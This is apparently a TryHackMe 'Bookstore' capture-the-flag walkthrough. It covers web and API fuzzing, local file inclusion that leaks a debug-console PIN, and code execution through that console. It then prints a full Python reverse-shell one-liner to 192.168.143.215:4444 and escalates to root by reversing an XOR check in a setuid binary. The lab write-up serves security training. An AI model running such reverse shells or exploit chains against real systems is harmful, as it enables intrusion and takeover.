October 19, 2026
Bookstore โ Tryhackme writeup
Bookstore is a boot2root CTF machine that teaches a beginner penetration tester basic web enumeration and REST API Fuzzing with LFI to RCE.

By PRiTi.EX
3 min read
Enumeration:
I starts with simple nmap scan:
Got 22(SSH), 80(http), 5000(http) opens.
Web Enumeration:
2 webservices running so i starts with port 80.
Got a webpage i see source page nothing important next i move to directory fuzzing.
Got multiple directory & explore all these in assets i got multiple css,js,images files.
Inside /assets/js/api.js in comments i got a clue.
So they talk about LFI in parameter of older version.
Now i focus on another port 5000 & do directory fuzzing.
Got /api, /console, /robots.txt
Form api:
Got multiple id, author & published parameter so i test here LFI. Not works so i do parameter fuzzing.
New parameter show & i test here LFI.
It works.
Form my previous enumeration in http://10.49.131.181/login.html source code i got another hint:
So sid's bash history has the pin:
Got it next i used it in /console
Shell Access:
Now i have a python interactive shell:
I execute here some cmds it works.
[console ready]
>>> id
<built-in function id>
>>> import os
>>> os.system('id')
0
>>> os.popen('id').read()
'uid=1000(sid) gid=1000(sid) groups=1000(sid)\n'[console ready]
>>> id
<built-in function id>
>>> import os
>>> os.system('id')
0
>>> os.popen('id').read()
'uid=1000(sid) gid=1000(sid) groups=1000(sid)\n'Next, from here i execute my python revershell cmds:
import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.143.215",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.143.215",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])This Python one-liner creates a TCP connection to 192.168.143.215:4444, redirects shell input/output/error through the socket, and launches an interactive /bin/sh to provide a reverse shell.
I used here penelope for auto shell upgrade(you can use nc):
got the shell also the user flag.
Privilege escalation:
the try-harder file is root owned binary file:
it ask for magic number i don't have to so i try classic buffer overflow:
Not works, next i transfer this file to my system using python server and analyse it:
Form ip a got the ip of this machine & use wget:
Reverse Engineer:
using gdb i open it:
gdb try-hardergdb try-hardercmd: info functions
then: disassemble main
If you don't know assambly use AI to expalin this.
then use:
Got pin.
Alternative:
use IDA
The program XORs your input with 0x1116 and 0x5DB3, then compares the result with 0x5DCD21F4 to validate the magic number. If the comparison matches, it executes /bin/bash -p; otherwise, it prints "Incorrect Try Harder."
Then i convert it to pseudocode for better understing:
I identified the input validation, XOR operations, comparison value, and the success branch that executes /bin/bash -p when the condition is satisfied.
A XOR B XOR C = A; if C XOR B = D, then A XOR D gives the original value.
Then using XOR i got that code:
I runs that binary and use that code got the root shell:
got the root flag in /root